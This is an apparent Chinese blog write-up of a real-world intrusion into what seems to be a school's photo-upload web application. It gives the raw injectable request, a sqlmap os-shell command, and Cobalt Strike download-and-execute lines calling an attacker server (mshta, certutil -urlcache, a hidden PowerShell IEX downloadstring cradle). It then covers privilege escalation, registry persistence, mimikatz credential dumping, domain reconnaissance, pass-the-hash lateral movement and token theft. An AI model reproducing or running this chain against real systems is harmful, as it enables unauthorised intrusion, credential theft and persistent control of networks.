前言
最近找到一个可注入点:
POST http://target_ip/PhotoUpload/%E5%AD%B8%E7%94%9F%E8%AD%89%E4%BB%B6%E7%85%A7%E4%B8%8A%E5%82%B3.asp HTTP/1.1Host: target_ipContent-Length: 29Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://target_ipContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://target_ip/PhotoUpload/%E5%AD%B8%E7%94%9F%E8%AD%89%E4%BB%B6%E7%85%A7%E4%B8%8A%E5%82%B3.asp?dir=\PhotoUpload\photoupload\1_%A4@%A6~%AF%C5&txtStdID=1&txtSchoolYear=109AAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: ASPSESSIONIDCADTTSAT=DEJLKGJALIKBNHGNEIDBINDOConnection: closetxtSchoolYear=109A&txtStdID=2*
数据包如上
Get Shell:
经过简单手工测试,发现这边存在堆叠注入。
话不多说,上sqlmap。
python sqlmap.py -r 1.txt –random-agent –level 5 –risk 3 –technique S –os-shell
成功拿到os-shell
上线:
Server:
./teamserver x.x.x.x passwd
Client:
Listener:
dns/reverse_dns_txt:使用DNS的TXT类型进行数据传输,对目标进行管理dns/reverse_http:使用DNS的方式对目标主机进行管理http/reverse_http:使用HTTP的方式对目标主机进行管理https/reverse_https:使用HTTPS加密的方式对目标主机进行管理smb/bind_pipe: 使用SMB命名管道通信foreign/reverse_http: 将目标权限通过http的方式外派给metasploit或empireforeign/reverse_https: 将目标权限通过https的方式外派给metasploit或empireforeign/reverse_tcp: 将目标权限通过tcp的方式外派给metasploit或empire
具体可参考:
https://blog.csdn.net/qq_45434762/article/details/110298161
这里我们选择 http/reverse_http
Attacks:
- Packages:
HTML Application 生成恶意的HTA木马文件MS Office Macro 生成office宏病毒文件Payload Generator 生成各种语言版本的payloadUSB/CD AutoPlay 生成利用自动播放运行的木马文件Windows Dropper 捆绑器,能够对文档类进行捆绑Windows Executable 生成可执行exe木马Windows Executable(S) 生成无状态的可执行exe木马
- Web Drive-by
Manage 对开启的web服务进行管理Clone Site 克隆网站,可以记录受害者提交的数据Host File 提供一个文件下载,可以修改Mime信息Scripted Web Delivery 为payload提供web服务以便下载和执行,类似于Metasploit的web_deliverySigned Applet Attack 使用java自签名的程序进行钓鱼攻击Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(已过时)System Profiler 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等Spear Phish 用来邮件钓鱼的模块
这里我们使用HTML Application 和Windows Executable(S) 作示范:
- HTML Application :
设置listener:
生成.hta文件:
通过Web Drive-by中的Host File 将本地的hta文件映射到服务器的相关端口下
执行木马文件:
在os-shell中执行:
mshta http://server_ip:80/download/file.ext
很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分。HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“古老”方式之一。运行Microsoft HTML应用程序主机的Mshta.exe,Windows OS实用程序负责运行HTA(HTML应用程序)文件。我们可以运行JavaScript或Visual的HTML文件。您可以使用Microsoft MSHTA.exe工具解析这些文件。
- Windows Executable(S) :
选择listener:
生成ps1文件:
同样 通过Web Drive-by中的Host File 将本地的ps1文件映射到服务器的相关端口下
Certutil 是一个 CLI 程序,可用于转储和显示证书颁发机构(CA),配置信息,证书服务, CA 组件的备份和还原以及验证证书、密钥对和证书链,它作为证书服务的一部分安装。
使用以下命令将我们生成的木马文件下载到宿主机上:
certutil.exe -urlcache -split -f http://server_ip:80/download/file.ext
同时我们也可以通过:
certutil -encode/-decode参数 在一定程度绕过杀软。
- Scripted Web Delivery
其实也可以直接使用该模块来上线:
生成的脚本如下:
os-shell执行:
powershell.exe-nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://server_ip:80/a’))”
权限提升/权限维持
之前get_shell的那台server被设置了不可出网down掉了,这边暂时使用可用的server来做演示。
可以看到目前我们的beacon权限已为system,但我们维持会话的进程在powershell.exe中,很容易down掉,所以这边我还是进行了一次提权操作,看看提权后的会话会是在哪个进程中。
- 查看系统信息:
shell systeminfo
打的补丁还挺多的:
权限提升:
- 梼杌taowu插件:
taowu是一款很强大的cs扩展插件,里面集成了众多exp与一键脚本。
项目地址:https://github.com/pandasec888/taowu-cobalt-strike
- 使用SweetPotato进行提权操作:
成功提权:
可以看到提权成功后新增了一条会话,权限为system,且process运行在werfault.exe中
权限维持:
关于权限维持其实有很多种方式,taowu中也有一些自带的一键脚本
这边我们尝试使用注册表添加启动项的方式:
添加成功:
内网信息搜集:
端口扫描:
通过我们已获得的beacon扫描内网中开放相应端口的主机,扫描结果可以在目标 targets中查看:
获取凭证:
运行mimikatz
然后在凭证信息中查看相关用户名和口令:
我们很幸运地找到了admin用户,以及他的密码。
域信息搜集:
不知道为何在AD2上命令总出错,考虑有杀软,这边换AD3来演示相关命令。
- 查看本地用户组
shell net localgroup
- 查看管理员组:
shell net localgroup Administrators
- 查看当前域:
shell net config Workstation
- 查看内网中有哪些域:
shell net view /domain
此条命令依然无法使用- –
- 查看域控:
shell dsquery server
或
shell net group “domain controllers” /domain
横向移动
通过hash传递 横向获取其他主机beacon
Cs4.0使用手册中介绍的方法共5种:
Cs4.1中自带的jump方法一共有7种:
猜测其余两种应该跟ssh有关,这边我们选择psexec_psh,运行一个powershell程序。
成功jump
接下来就是老一套的,权限提升+权限维持。
通过提取进程中的令牌信息
查看本机进程,选择通过admin用户创建的进程,Steal Token
选择我们刚刚使用的会话,勾选使用当前会话的token
效果是一样的
后记
记录一个小问题:
当目标主机不被允许出网时怎么办?
这里能想到的其中一个解决方法 来自于Listener模块:
SMB/bind_pipe:
Beacon SMB使用命名管道与一个父Beacon进行通信,在由这个父Beacon与服务端通信,相当于一个桥梁,(因为Windows可以将命名管道通信封装在 SMB 协议中与远程主机进行通信,所以得名 SMB Beacon)
简单来说它会在我们指定的会话主机与我们想要拿下beacon的主机之间打通一条由SMB协议封装的tunnel,由于是smb协议,所以使用时需注意两个问题:
1.目标主机能够通过smb协议开启smb服务。2.我们的访问权限要能够使用smb协议连接对方主机。
使用方法很简单,只需在listener中add一条smb/bind_pipe,然后在进行横向时选择它即可。
成功jump后,通过该pipe创建的会话后会有一条管道标识。
通过视图来看会更加直观一些。
太菜了,暂时只能写到这么多,还在学习中。
来源:freebuf.com 2020-12-31 11:09:45 by: yangyangyanga
请登录后发表评论
注册